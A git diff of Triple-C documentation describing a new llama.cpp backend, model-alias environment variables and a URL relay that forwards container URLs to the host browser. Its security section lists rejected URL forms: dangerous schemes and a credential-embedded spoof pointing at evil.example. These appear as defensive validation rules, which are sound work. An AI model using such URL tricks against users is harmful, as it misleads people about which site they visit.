2026-08-10 06:23:43 +00:00
46 changed files with 6194 additions and 61 deletions
@@ -97,12 +97,24 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
  complete against the host browser. Discovers listeners by parsing `/proc/net/tcp{,6}` (the image
  has no `ss`/`netstat`/`lsof`), binds host `127.0.0.1` **only**, and tunnels in over the Docker
  API via `socat`. Opt-in per project.
 - **`browser_view/`** — Watch and take over the browser Claude drives with Playwright inside the
  container. Runs Playwright's own dashboard (`browser.bind()` + `playwright-cli show`) in the
  container and fronts it with a **token-gated** loopback proxy. Deliberately does **not** reuse
  the auth bridge's `PortForward`, which binds an unauthenticated port — fine for a throwaway
  OAuth listener, wrong for remote control of a browser. Host ports are confined to
  `47820..=47827` because CSP `frame-src` cannot express a port range and must enumerate them;
  a unit test asserts the Rust range matches `tauri.conf.json`. Opt-in per project.
 - **`docker/`** — Docker API layer using bollard:
  - `client.rs` — Singleton Docker connection via `OnceLock`
  - `container.rs` — Container lifecycle (create, start, stop, remove, inspect)
  - `exec.rs` — Attached exec streaming. `create_attached_exec()` is the **single** place an
    attached exec is opened; terminal sessions and the auth bridge both go through it.
  - `image.rs` — Image build/pull with progress streaming
  - `gateway.rs` — Optional LiteLLM sibling container giving Claude Code an Anthropic-format
    front end for providers that only speak OpenAI (see `gateway-container/`). Mirrors `stt.rs`.
    Binds `0.0.0.0` — unlike STT — because *project containers*, not the host process, consume
    it; it therefore **always** sets a LiteLLM `master_key`, since LiteLLM without one accepts
    any key.
  - `legacy_cleanup.rs` — One-release migration shim removing leftovers from the deleted MCP
    feature (containers labelled `triple-c.mcp-server`, `triple-c-net-*` networks). Deletable once
    users have migrated.
@@ -110,7 +122,7 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li
  - `server.rs` — Axum server lifecycle (start/stop), serves embedded HTML and handles WS upgrades
  - `ws_handler.rs` — Per-connection WebSocket handler with JSON protocol, session management, cleanup on disconnect
  - `terminal.html` — Self-contained xterm.js web UI embedded via `include_str!()`
- **`models/`** — Serde structs (`Project`, `Backend`, `BedrockConfig`, `OllamaConfig`, `OpenAiCompatibleConfig`, `ClaudeCodeSettings`, `ContainerInfo`, `AppSettings`, `WebTerminalSettings`). These define the IPC contract with the frontend.
+- **`models/`** — Serde structs (`Project`, `Backend`, `BedrockConfig`, `OllamaConfig`, `LlamaCppConfig`, `OpenAiCompatibleConfig`, `ClaudeCodeSettings`, `ContainerInfo`, `AppSettings`, `WebTerminalSettings`). These define the IPC contract with the frontend.
 - **`storage/`** — Persistence: `projects_store.rs` (JSON file with atomic writes), `secure.rs` (OS keychain via `keyring` crate), `settings_store.rs`
 ### Container (`container/`)
@@ -135,7 +147,20 @@ Per-project, independently configured:
 - **Anthropic (OAuth)** — `claude login` in terminal, token persists in config volume
 - **AWS Bedrock** — Static keys, profile, or bearer token injected as env vars
 - **Ollama** — Connect to a local or remote Ollama server via `ANTHROPIC_BASE_URL` (e.g., `http://host.docker.internal:11434`)
- **OpenAI Compatible** — Connect through any OpenAI API-compatible endpoint (LiteLLM, OpenRouter, vLLM, etc.) via `ANTHROPIC_BASE_URL` + `ANTHROPIC_AUTH_TOKEN`
+- **llama.cpp** — Connect to a local or remote `llama-server` via `ANTHROPIC_BASE_URL` (e.g., `http://host.docker.internal:8080`, its default port)
 - **OpenAI Compatible** — Connect through a gateway implementing the **Anthropic Messages API** (LiteLLM) via `ANTHROPIC_BASE_URL` + `ANTHROPIC_AUTH_TOKEN`
 **Claude Code only ever speaks the Anthropic Messages API** (`POST /v1/messages?beta=true`) to
 `ANTHROPIC_BASE_URL` — never OpenAI's `/v1/chat/completions`. Ollama and llama.cpp implement
 `/v1/messages` natively, which is why each gets a plain base-URL backend with no translation shim.
 A server that only exposes an OpenAI-shaped API does not work behind any backend.
 For every backend pointing at a custom endpoint (`Backend::uses_custom_endpoint`), all four
 `ANTHROPIC_DEFAULT_{OPUS,SONNET,HAIKU,FABLE}_MODEL` vars are pinned to the backend's configured
 model id, with an optional per-backend Haiku override. Without this, Claude Code's background
 calls resolve `haiku` to an Anthropic model id the local server does not have and fail silently.
 Anthropic and Bedrock deliberately keep Claude Code's own defaults.
 `ANTHROPIC_SMALL_FAST_MODEL` is deprecated and must not be used.
 ## Styling
@@ -14,10 +14,13 @@ Triple-C (Claude-Code-Container) is a desktop application that runs Claude Code
 - [Permission Modes](#permission-modes)
 - [Project Configuration](#project-configuration)
 - [Shared Claude Authentication](#shared-claude-authentication)
 - [Opening URLs in Your Browser (URL Relay)](#opening-urls-in-your-browser-url-relay)
 - [Browser Logins Inside the Container (Auth Bridge)](#browser-logins-inside-the-container-auth-bridge)
 - [AWS Bedrock Configuration](#aws-bedrock-configuration)
 - [Ollama Configuration](#ollama-configuration)
 - [llama.cpp Configuration](#llamacpp-configuration)
 - [OpenAI Compatible Configuration](#openai-compatible-configuration)
 - [Model Aliases and Background Calls](#model-aliases-and-background-calls)
 - [Settings](#settings)
 - [Web Terminal (Remote Access)](#web-terminal-remote-access)
 - [Terminal Features](#terminal-features)
@@ -58,8 +61,9 @@ You need access to Claude Code through one of:
 - **Anthropic account** — Sign up at https://claude.ai and use `claude login` (OAuth) inside the terminal
 - **AWS Bedrock** — An AWS account with Bedrock access and Claude models enabled
- **Ollama** — A local or remote Ollama server running an Anthropic-compatible model (best-effort support)
+- **Ollama** — A local or remote Ollama server (best-effort support)
- **OpenAI Compatible** — Any OpenAI API-compatible endpoint (LiteLLM, OpenRouter, vLLM, text-generation-inference, LocalAI, etc.) (best-effort support)
+- **llama.cpp** — A local or remote `llama-server` (best-effort support)
 - **OpenAI Compatible** — A gateway that implements the **Anthropic Messages API**, such as LiteLLM (best-effort support). A server that only speaks OpenAI's `/v1/chat/completions` will not work — see [OpenAI Compatible Configuration](#openai-compatible-configuration).
 ---
@@ -142,11 +146,18 @@ Anthropic-backend project uses that token without its own login. See
 4. Make sure the model has been pulled in Ollama (e.g., `ollama pull qwen3.5:27b`) or used via Ollama cloud before starting.
 5. Start the container again.
 **llama.cpp:**
 1. Stop the container first (most settings can only be changed while stopped).
 2. Open the project's **Config** tab and, under **Model**, set **Backend** to **llama.cpp**.
 3. Set the base URL of your `llama-server` (defaults to `http://host.docker.internal:8080`, `llama-server`'s default port). Set the **Model** to the model it is serving.
 4. Start the container again.
 **OpenAI Compatible:**
 1. Stop the container first (most settings can only be changed while stopped).
 2. Open the project's **Config** tab and, under **Model**, set **Backend** to **OpenAI Compatible**.
-3. Set the base URL of your OpenAI-compatible endpoint (defaults to `http://host.docker.internal:4000` as an example). Optionally set an API key and model.
+3. Set the base URL of your gateway (defaults to `http://host.docker.internal:4000`, LiteLLM's default port). Optionally set an API key and model.
 4. Start the container again.
 ---
@@ -505,7 +516,7 @@ and nothing is stored.
 ### How the token is used
 - It is injected only into projects whose backend is **Anthropic** — it means nothing to Bedrock,
-  Ollama or an OpenAI-compatible endpoint.
+  Ollama, llama.cpp or an OpenAI-compatible gateway.
 - Each project can opt out under **Config → Model** ("Use the shared Claude token"). Projects are
  opted **in** by default, so a single sign-in covers your whole fleet; opt a project out if you
  want it pinned to its own `claude login` identity.
@@ -527,6 +538,95 @@ is next started, at which point the same recreation clears the variable.
 ---
 ## Opening URLs in Your Browser (URL Relay)
 There is no browser inside the container and no screen to put one on. Any tool that tries to open
 a web page therefore fails, usually with something unhelpful like *"Couldn't find a suitable web
 browser!"*. The **URL relay** fixes that: when a command inside the container asks for a browser,
 the URL is handed to **your** browser on the host.
 Nothing is displayed or forwarded from the container — only the URL travels.
 It is always on and needs no configuration.
 ### What you see
 A small bar appears at the top of the terminal reading **"Container asked to open a URL"**, with
 the URL and an **Open** button. Click **Open** and the page loads in your normal browser, signed
 in as you. The prompt disappears on its own after 30 seconds if you ignore it.
 Triple-C asks rather than opening pages by itself. The container is sandboxed code — some of it
 written by Claude a minute ago — and silently making your logged-in browser visit a URL it chose
 is not something to hand over automatically. One click keeps that decision yours.
 ### Which commands benefit
 Anything that opens a browser to authenticate or to show you a page:
 | Command | What it wanted a browser for |
 |---|---|
 | `gh auth login` | GitHub device / OAuth login |
 | `aws sso login` | AWS IAM Identity Center login |
 | `gcloud auth login` | Google Cloud login |
 | `az login` | Azure login |
 | `vercel login`, `netlify login`, `fly auth login`, `heroku login`, `wrangler login` | Vendor CLI logins |
 | `npm login`, `supabase login`, `doctl auth init` | Token / device flows |
 | `xdg-open <url>` in any script | Opening a page directly |
 | `python3 -m webbrowser <url>` | Anything using Python's `webbrowser` module |
 Under the hood the container provides a stand-in browser at `/usr/local/bin/triple-c-open`,
 installed under all the names tools look for — `xdg-open`, `sensible-browser`, `www-browser`,
 `x-www-browser`, `gnome-open`, `gvfs-open`, `kde-open`, `open` — and as the `$BROWSER`
 environment variable, which most of the CLIs above consult first. You can also call
 `triple-c-open <url>` yourself.
 It works even when the command is run *by* Claude Code rather than typed by you: the relay talks
 to the terminal directly, not through the command's output, so being nested inside a tool call
 does not break it.
 ### When no terminal is attached
 The relay rides on the terminal session. If nothing is attached to the container, there is nothing
 to relay through:
 - **Scheduled tasks** (Automation tab) run from cron with no terminal at all.
 - A shell you opened with your own `docker exec`, outside Triple-C.
 In those cases the relay does **not** hang or wait. It prints the URL in plain text and returns
 immediately:
 ```
 triple-c-open: no Triple-C terminal attached — cannot reach the host browser.
 triple-c-open: open this URL manually:
 https://github.com/login/device?user_code=WXYZ-1234
 ```
 For a scheduled task that text lands in the task log (**Project Home → Automation → Logs**), so
 you can still finish the login yourself afterwards. Practically speaking: don't expect an
 unattended scheduled task to complete an interactive browser login. Authenticate once from a
 terminal session — the credentials persist in the project's config volume — and let the scheduled
 runs use them.
 ### Security
 Requests coming out of the container are treated as untrusted input, because that is what they
 are:
 - **Only `http://` and `https://` are ever opened.** `file://`, `javascript:`, `data:` and every
  custom protocol handler your OS has registered are rejected outright. A container that could
  make the host open arbitrary URI schemes would have a way out of the sandbox.
 - URLs with embedded credentials (`https://github.com@evil.example/`) are rejected — they
  misrepresent which site you are about to visit.
 - Control characters, whitespace and oversized payloads are rejected before parsing, so the relay
  cannot be used to smuggle terminal escape sequences into the UI.
 - The URL is shown to you in its normalized form: what the prompt displays is exactly what opens.
 - Prompts are rate-limited (a handful per ten seconds, with repeats of the same URL collapsed), so
  a runaway loop in the container cannot bury the interface.
 The relay only *asks*. Nothing opens without your click.
 ---
 ## Browser Logins Inside the Container (Auth Bridge)
 Some CLIs log you in by opening a browser and waiting for the browser to call back to a temporary
@@ -607,10 +707,13 @@ To use Claude Code with a local or remote Ollama server, set **Backend** to **Ol
 - **Base URL** — The URL of your Ollama server. Defaults to `http://host.docker.internal:11434`, which reaches a locally running Ollama instance from inside the container. For a remote server, use its IP or hostname (e.g., `http://192.168.1.100:11434`).
 - **Model ID** — **Required.** The model to use (e.g., `qwen3.5:27b`). The model must be pulled in Ollama before use — run `ollama pull <model>` or use it via Ollama cloud so it is available when the container starts.
 - **Background model** — Optional. See [Model Aliases and Background Calls](#model-aliases-and-background-calls). Leave blank to reuse the Model ID above.
 Global defaults for all three live under **Settings → Backends → Ollama Configuration** and are used whenever the matching per-project field is blank.
 ### How It Works
-Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your Ollama server instead of Anthropic's API. The `ANTHROPIC_AUTH_TOKEN` is set to `ollama` (required by Claude Code but not used for actual authentication).
+Ollama natively implements the Anthropic Messages API at `POST /v1/messages`, which is the only thing Claude Code ever sends. Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your Ollama server instead of Anthropic's API. The `ANTHROPIC_AUTH_TOKEN` is set to `ollama` (required by Claude Code but not used for actual authentication). The `ANTHROPIC_DEFAULT_*_MODEL` aliases are pinned to your model — see [Model Aliases and Background Calls](#model-aliases-and-background-calls).
 > **Note:** Ollama support is best-effort. Claude Code is designed for Anthropic models, so some features (tool use, extended thinking, prompt caching, etc.) may not work as expected with non-Anthropic models.
@@ -618,24 +721,106 @@ Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your Ollama server in
 ---
-## OpenAI Compatible Configuration
+## llama.cpp Configuration
-To use Claude Code through any OpenAI API-compatible endpoint, set **Backend** to **OpenAI Compatible** under **Config → Model**. This works with any server that exposes an OpenAI-compatible API, including LiteLLM, OpenRouter, vLLM, text-generation-inference, LocalAI, and others.
+To use Claude Code with a local or remote `llama-server` (from [llama.cpp](https://github.com/ggml-org/llama.cpp)), set **Backend** to **llama.cpp** under **Config → Model**.
 `llama-server` implements the Anthropic Messages API natively — `POST /v1/messages` and `POST /v1/messages/count_tokens` — so Claude Code talks to it directly, with no translation layer in between.
 ### Settings
- **Base URL** — The URL of your OpenAI-compatible endpoint. Defaults to `http://host.docker.internal:4000` as an example (adjust to match your server's address and port).
+- **Base URL** — The URL of your `llama-server`. Defaults to `http://host.docker.internal:8080`; **8080** is `llama-server`'s own default port (`--port PORT | port to listen (default: 8080)`). For a remote server, use its IP or hostname.
- **API Key** — Optional. The API key for your endpoint, if authentication is required. Stored securely in your OS keychain.
+- **Model ID** — The model `llama-server` is serving. A `llama-server` process serves one model, so this is mostly the id Claude Code reports — but it is also what the model aliases are pinned to, so setting it matters.
- **Model ID** — Optional. Override the model to use.
+- **Background model** — Optional. See [Model Aliases and Background Calls](#model-aliases-and-background-calls). Leave blank to reuse the Model ID above.
 Global defaults for all three live under **Settings → Backends → llama.cpp Configuration** and are used whenever the matching per-project field is blank.
 ### Starting llama-server
 ```bash
 llama-server -m /path/to/model.gguf --port 8080 --host 0.0.0.0
 ```
 `--host 0.0.0.0` matters: `llama-server` binds `127.0.0.1` by default, which the container cannot reach through `host.docker.internal`.
 ### How It Works
-Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your OpenAI-compatible endpoint. If an API key is provided, it is set as `ANTHROPIC_AUTH_TOKEN`.
+Triple-C sets `ANTHROPIC_BASE_URL` to your `llama-server`, and `ANTHROPIC_AUTH_TOKEN` to the placeholder `llama.cpp`. `llama-server` only checks the `Authorization` header when it was started with `--api-key` (default: none), so the value is ignored in the usual case — but Claude Code requires *some* credential to be present, so one is always sent.
 > **Note:** llama.cpp support is best-effort. Claude Code is designed for Anthropic models, so some features (tool use, extended thinking, prompt caching, etc.) may not work as expected with non-Anthropic models.
 ---
 ## OpenAI Compatible Configuration
 To route Claude Code through a gateway, set **Backend** to **OpenAI Compatible** under **Config → Model**.
 > **The name is misleading, and the distinction matters.** Claude Code only ever sends
 > `POST /v1/messages?beta=true` in **Anthropic Messages** format to `ANTHROPIC_BASE_URL`. It never
 > calls OpenAI's `/v1/chat/completions`. So this backend requires an endpoint that implements the
 > **Anthropic Messages API** — **LiteLLM** does, and works. A server that exposes only an
 > OpenAI-compatible API (plain vLLM, text-generation-inference, LocalAI, OpenRouter, …) will
 > **not** work here; put an Anthropic-shaped gateway such as LiteLLM in front of it.
 > For Ollama and llama.cpp, use their own backends — both implement `/v1/messages` natively.
 >
 > (The backend name is kept as-is so existing projects keep working.)
 ### Settings
 - **Base URL** — The URL of your gateway. Defaults to `http://host.docker.internal:4000`, LiteLLM's default port (adjust to match your server's address and port).
 - **API Key** — Optional. The API key for your endpoint, if authentication is required. Stored securely in your OS keychain.
 - **Model ID** — Optional. Override the model to use.
 - **Background model** — Optional. See [Model Aliases and Background Calls](#model-aliases-and-background-calls). Leave blank to reuse the Model ID above.
 Global defaults for the base URL, model and background model live under **Settings → Backends → OpenAI Compatible Configuration**.
 ### How It Works
 Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your gateway. If an API key is provided, it is set as `ANTHROPIC_AUTH_TOKEN`.
 > **Note:** OpenAI Compatible support is best-effort. Claude Code is designed for Anthropic models, so some features (tool use, extended thinking, prompt caching, etc.) may not work as expected when routing to non-Anthropic models through the endpoint.
 ---
 ## Model Aliases and Background Calls
 Claude Code has four model aliases — `opus`, `sonnet`, `haiku` and `fable`. Left alone they resolve
 to **Anthropic's** model IDs. A local server has never heard of those IDs, so every call that goes
 through an alias fails, usually with no visible error.
 The one that bites hardest is `haiku`: `ANTHROPIC_DEFAULT_HAIKU_MODEL` is documented as *"Model ID
 that the `haiku` alias resolves to, also used for background functionality"* — conversation titles,
 summaries, and other out-of-band work. If it is wrong, those quietly stop happening.
 So for every backend that points at a custom endpoint — **Ollama**, **llama.cpp** and **OpenAI
 Compatible** — Triple-C sets all four:
 | Variable | Value |
 |---|---|
 | `ANTHROPIC_DEFAULT_OPUS_MODEL` | your configured **Model ID** |
 | `ANTHROPIC_DEFAULT_SONNET_MODEL` | your configured **Model ID** |
 | `ANTHROPIC_DEFAULT_HAIKU_MODEL` | your **Background model**, or the **Model ID** if that is blank |
 | `ANTHROPIC_DEFAULT_FABLE_MODEL` | your configured **Model ID** |
 **Leaving Background model blank is the right default.** A local server almost always serves one
 model, and pointing every alias at it is what makes background work succeed.
 Set **Background model** only if you serve a second, smaller model you would rather spend on titles
 and summaries. It moves the Haiku alias alone; the other three still follow **Model ID**. It is
 available per-project (Config → Model) and globally (Settings → Backends), with the usual
 per-project-overrides-global rule.
 Notes:
 - These variables are **not** set for the **Anthropic** or **Bedrock** backends. Those reach
  servers that genuinely host the Anthropic model IDs, so Claude Code's own defaults are correct.
 - All four names are reserved — you cannot set them yourself as custom environment variables.
 - Changing a model or a Background model **recreates the container on the next start**, because
  environment variables can only change at creation time.
 - `ANTHROPIC_SMALL_FAST_MODEL`, the deprecated predecessor of the Haiku variable, is not used.
 ---
 ## Settings
 Access global settings via the **Settings** tab in the sidebar. The panel is a set of collapsible
@@ -940,7 +1125,7 @@ The sandbox container (Ubuntu 24.04) comes pre-installed with:
 | build-essential | — | C/C++ compiler toolchain |
 | openssh-client | — | SSH for git and remote access |
-The container also includes **clipboard shims** (`xclip`, `xsel`, `pbcopy`) that forward copy operations to the host via OSC 52, and an **audio shim** (`rec`, `arecord`) for future voice mode support.
+The container also includes **clipboard shims** (`xclip`, `xsel`, `pbcopy`) that forward copy operations to the host via OSC 52, a **browser shim** (`triple-c-open`, installed as `xdg-open`, `sensible-browser`, `www-browser`, `x-www-browser` and `$BROWSER`) that relays URLs to your host browser — see [Opening URLs in Your Browser](#opening-urls-in-your-browser-url-relay) — and an **audio shim** (`rec`, `arecord`) for future voice mode support.
 You can install additional tools at runtime with `sudo apt install`, `pip install`, `npm install -g`, etc. Installed packages persist across container stops (but not across resets).
@@ -990,6 +1175,28 @@ These features are built into Claude Code and work inside Triple-C containers wi
 - If the toast doesn't appear, try scrolling up in the terminal — the URL may have already been printed.
 - You can also manually copy the URL from the terminal output and paste it into your browser.
 ### "Couldn't find a suitable web browser" / a Command Won't Open a Page
 The [URL relay](#opening-urls-in-your-browser-url-relay) should catch this. If a command still
 complains, check from a terminal session in that project:
 ```bash
 echo "$BROWSER"                       # /usr/local/bin/triple-c-open
 triple-c-open https://example.com/    # should raise the prompt in the terminal
 ```
 If `$BROWSER` is empty or `triple-c-open` is missing, the container is running an **older image**.
 Rebuild it (Project Home → **Reset**, or pull/build the image again from Settings) — the relay is
 part of the container image, not something the app can inject into a running container.
 If you see *"no Triple-C terminal attached"*, the command is running somewhere with no terminal —
 a scheduled task, or a shell you opened with your own `docker exec`. The URL is printed instead;
 copy it into your browser. See
 [When no terminal is attached](#when-no-terminal-is-attached).
 If the prompt says the URL was refused, the command asked for a scheme the relay will not open on
 your machine (anything that isn't `http`/`https`).
 ### A Browser Login Never Completes
 You opened the URL, signed in successfully, and the CLI in the terminal is still waiting. The
@@ -97,6 +97,60 @@ plugins and MCP servers**, at user scope (`/home/claude/.claude`) and project sc
 Triple-C does not create or edit any of them — Claude Code owns that configuration, and the tiles
 link out to a terminal where `/agents`, `/hooks`, `/plugins` and `/mcp` do the real work.
 ### URL Relay (host browser)
 There is no browser and no display inside the container, so any CLI that wants to open a web page
 — `gh auth login`, `aws sso login`, `gcloud auth login`, `az login`, vendor CLIs, `xdg-open`,
 Python's `webbrowser` — simply fails. The URL relay forwards the *request* to the host, where the
 user's real browser is. Nothing is rendered or forwarded from the container; only the URL travels.
 It complements the Auth Bridge below: the relay gets the login page open, the bridge lets the
 callback land.
 **Transport — an OSC escape sequence, following `osc52-clipboard`.** `container/triple-c-open`
 writes
 ```
 ESC ] 7777 ; open ; <base64(url)> BEL
 ```
 to **`/dev/tty`**, and `TerminalView.tsx` picks it up with `term.parser.registerOscHandler(7777, …)`.
 `/dev/tty` rather than stdout is the whole point: the shim usually runs as a grandchild of
 something that captures its children's output (Claude Code invoking `gh auth login` as a tool
 call), so a printed sentinel line — the `###TRIPLE_C_SSO_REFRESH###` approach — would be swallowed
 by the intermediate process and never reach the terminal. A control sequence on the controlling
 terminal always arrives, and is invisible to terminals that don't know it. Base64 keeps a `;`,
 `BEL` or `ESC` inside the URL from breaking out of the sequence.
 **Container side** — `container/triple-c-open`, installed as `xdg-open`, `sensible-browser`,
 `www-browser`, `x-www-browser`, `gnome-open`, `gvfs-open`, `kde-open`, `open`, and exported as
 `$BROWSER`. Ubuntu 24.04 ships a real `/usr/bin/sensible-browser` (from `sensible-utils`), so that
 one is `dpkg-divert`ed rather than merely shadowed by a `/usr/local/bin` symlink; `www-browser` and
 `x-www-browser` are registered through `update-alternatives` and pinned with `--set`, because
 `sensible-browser` probes them by absolute path and because a later `apt install firefox` must not
 be able to steal them. `xdg-open` is diverted pre-emptively so installing `xdg-utils` inside the
 container cannot displace the relay. `BROWSER` is an image-level `ENV` — terminal sessions are
 separate `docker exec`s and never see what the entrypoint exported — and the entrypoint also
 forwards it into the scheduler's cron environment file.
 **No terminal attached** (cron-driven scheduled tasks, or a plain `docker exec` from outside
 Triple-C): there is no handshake and nothing to wait for, so the shim never blocks. The write to
 `/dev/tty` fails, and it prints the URL in plain text on its own line and exits 0 — which lands in
 the scheduler task log where a human can still act on it.
 **Security posture — the container is the untrusted side.** `app/src/lib/urlRelay.ts` validates
 before anything reaches `openUrl`: `http:`/`https:` only (`file:`, `javascript:`, `data:` and every
 registered protocol handler rejected), no embedded credentials, no control characters or
 whitespace, length-capped, and returned WHATWG-normalized so the prompt shows exactly what will
 open. Nothing opens automatically — the user confirms in the existing `UrlToast`, and prompts are
 rate-limited (5 per 10 s, repeats of the same URL collapsed) so a loop in the container cannot bury
 the UI.
 **Web terminal** — deliberately *not* a copy of the desktop behaviour. The browser there belongs to
 a remote viewer, possibly on a phone across a tunnel, so `terminal.html` renders the relayed URL as
 a tap-to-open link banner with the same scheme allowlist and rate limit, and opens nothing by
 itself. The OSC handler is registered regardless so the sequence is consumed rather than painted as
 garbage.
 ### Auth Bridge
 Browser-based logins run *inside* a container (`claude login`, `aws sso login`, Concourse
@@ -169,9 +223,42 @@ Each project can independently use one of:
 - **Anthropic** (OAuth or shared token): either the shared `claude setup-token` token injected as `CLAUDE_CODE_OAUTH_TOKEN` (see below), or a per-container `claude login`. An interactive login's token lives in the config volume and survives container stop/start and recreation — but **not** a Reset, which deletes the volumes.
 - **AWS Bedrock**: Per-project AWS credentials (static keys, profile, or bearer token). SSO sessions are validated before launching Claude for Profile auth.
 - **Ollama**: Connect to a local or remote Ollama server via `ANTHROPIC_BASE_URL` (e.g., `http://host.docker.internal:11434`). Requires a model ID, and the model must be pulled (or used via Ollama cloud) before starting the container.
- **OpenAI Compatible**: Connect through any OpenAI API-compatible endpoint (LiteLLM, OpenRouter, vLLM, text-generation-inference, LocalAI, etc.) via `ANTHROPIC_BASE_URL` + `ANTHROPIC_AUTH_TOKEN`. API key stored securely in OS keychain.
+- **llama.cpp**: Connect to a local or remote `llama-server` via `ANTHROPIC_BASE_URL` (e.g., `http://host.docker.internal:8080` — 8080 is `llama-server`'s default port). `ANTHROPIC_AUTH_TOKEN` is set to a placeholder; `llama-server` ignores it unless it was started with `--api-key`.
 - **OpenAI Compatible**: Connect through a gateway that implements the **Anthropic Messages API**, via `ANTHROPIC_BASE_URL` + `ANTHROPIC_AUTH_TOKEN`. API key stored securely in OS keychain.
-> **Note:** Ollama and OpenAI Compatible support is best-effort. Claude Code is designed for Anthropic models, so some features (tool use, extended thinking, prompt caching, etc.) may not work as expected with non-Anthropic models behind these backends.
+> **The endpoint must speak the Anthropic Messages API.** Claude Code only ever sends
 > `POST /v1/messages?beta=true` in Anthropic Messages format to `ANTHROPIC_BASE_URL` — it never
 > speaks OpenAI's `/v1/chat/completions`. So a server that exposes *only* an OpenAI-compatible API
 > (plain vLLM, text-generation-inference, LocalAI, OpenRouter, …) will **not** work behind any of
 > these backends. What does work: **LiteLLM**, which exposes an Anthropic-shaped route, and
 > **Ollama** and **llama.cpp**, both of which implement `POST /v1/messages` natively — which is why
 > they get first-class backends of their own rather than going through a translation layer.
 #### Model alias variables
 The `opus` / `sonnet` / `haiku` / `fable` aliases in Claude Code resolve to Anthropic model IDs by
 default. Against a local server those IDs do not exist, so anything that uses an alias fails —
 most visibly the **background** calls (conversation titles, summaries), which use `haiku`.
 For every backend that points at a custom endpoint (Ollama, llama.cpp, OpenAI Compatible),
 Triple-C therefore sets all four:
 | Variable | Value |
 |---|---|
 | `ANTHROPIC_DEFAULT_OPUS_MODEL` | the backend's configured model ID |
 | `ANTHROPIC_DEFAULT_SONNET_MODEL` | the backend's configured model ID |
 | `ANTHROPIC_DEFAULT_HAIKU_MODEL` | the **Background model** override, else the configured model ID |
 | `ANTHROPIC_DEFAULT_FABLE_MODEL` | the backend's configured model ID |
 A local server usually serves exactly one model, so pointing every alias at it is the right
 default. If you run a second, smaller model for cheap background work, set **Background model**
 (Config → Model, and in global Backend settings) and only the Haiku alias moves.
 These are *not* set for the Anthropic or Bedrock backends, which reach servers that really do host
 the Anthropic model IDs. Triple-C manages all four names, so they cannot be set as custom
 environment variables. (`ANTHROPIC_SMALL_FAST_MODEL` is deprecated and is not used.)
 > **Note:** Ollama, llama.cpp and OpenAI Compatible support is best-effort. Claude Code is designed for Anthropic models, so some features (tool use, extended thinking, prompt caching, etc.) may not work as expected with non-Anthropic models behind these backends.
 ### Container Spawning (Sibling Containers)
@@ -244,7 +331,7 @@ Users can override this in Settings via the global `docker_socket_path` option.
 | `app/src/components/settings/SharedAuthSettings.tsx` | Acquire / revoke the shared Claude authentication token |
 | `app/src/components/settings/WebTerminalSettings.tsx` | Web terminal toggle, URL, token management |
 | `app/src/components/settings/SttSettings.tsx` | STT settings panel (model, port, language, container controls) |
-| `app/src/components/terminal/TerminalView.tsx` | xterm.js terminal with WebGL, URL detection, OSC 52 clipboard, image paste |
+| `app/src/components/terminal/TerminalView.tsx` | xterm.js terminal with WebGL, URL detection, OSC 52 clipboard, OSC 7777 URL relay, image paste |
 | `app/src/components/terminal/SttButton.tsx` | Mic button with on-demand STT container start |
 | `app/src/hooks/useTerminal.ts` | Terminal session management (claude and bash modes) |
 | `app/src/hooks/useProjectActions.ts` | Start/stop/reset/backup and terminal-opening helpers |
@@ -276,6 +363,8 @@ Users can override this in Settings via the global `docker_socket_path` option.
 | `container/Dockerfile` | Ubuntu 24.04 sandbox image with Claude Code + dev tools + clipboard/audio shims |
 | `container/entrypoint.sh` | UID/GID remap, SSH setup, Docker group config, Claude Code settings injection, Mission Control setup |
 | `container/osc52-clipboard` | Clipboard shim (xclip/xsel/pbcopy via OSC 52) |
 | `container/triple-c-open` | URL relay shim (xdg-open/`$BROWSER`/sensible-browser via OSC 7777); prints the URL when no terminal is attached |
 | `app/src/lib/urlRelay.ts` | Host-side relay validation: OSC 7777 parsing, http/https allowlist, rate limiting |
 | `container/audio-shim` | Audio capture shim (rec/arecord via FIFO) for voice mode |
 | `container/triple-c-scheduler` | Bash CLI managing scheduled task JSON and the crontab |
 | `container/triple-c-task-runner` | Cron entry point; maps `TRIPLE_C_PERMISSION_MODE` to flags and runs `claude -p` |
@@ -295,6 +384,6 @@ Users can override this in Settings via the global `docker_socket_path` option.
 **Pre-installed tools**: Claude Code, Node.js 22 LTS + pnpm, Python 3.12 + uv + ruff, Rust (stable), Docker CLI, git + gh, AWS CLI v2, ripgrep, openssh-client, build-essential
-**Shims**: `xclip`/`xsel`/`pbcopy` (OSC 52 clipboard forwarding), `rec`/`arecord` (audio FIFO for voice mode)
+**Shims**: `xclip`/`xsel`/`pbcopy` (OSC 52 clipboard forwarding), `xdg-open`/`sensible-browser`/`www-browser`/`x-www-browser`/`$BROWSER` (OSC 7777 URL relay to the host browser), `rec`/`arecord` (audio FIFO for voice mode)
 **Default user**: `claude` (UID/GID 1000, remapped by entrypoint to match host)
@@ -218,8 +218,21 @@ Each project independently chooses one backend:
 |------|-------------|-------------|
 | **Anthropic** | Either the shared `CLAUDE_CODE_OAUTH_TOKEN` injected from the OS keychain, or a per-container `claude login` whose credential persists in the `.claude` config volume. The OAuth URL opens in the host browser via URL detection. | Default — personal and team use |
 | **AWS Bedrock** | Per-project AWS credentials (static keys, named profile, or bearer token) injected as env vars. `~/.aws` config optionally bind-mounted read-only; SSO sessions are validated before launching Claude for profile auth. | Enterprise environments using Bedrock |
-| **Ollama** | `ANTHROPIC_BASE_URL` points at an Ollama server; `ANTHROPIC_AUTH_TOKEN` is set to a placeholder. | Local models (best-effort) |
+| **Ollama** | `ANTHROPIC_BASE_URL` points at an Ollama server; `ANTHROPIC_AUTH_TOKEN` is set to the placeholder `ollama`. Ollama implements `POST /v1/messages` natively. | Local models (best-effort) |
-| **OpenAI Compatible** | `ANTHROPIC_BASE_URL` plus `ANTHROPIC_AUTH_TOKEN` point at any OpenAI-compatible endpoint (LiteLLM, OpenRouter, vLLM, …). | Gateways and proxies (best-effort) |
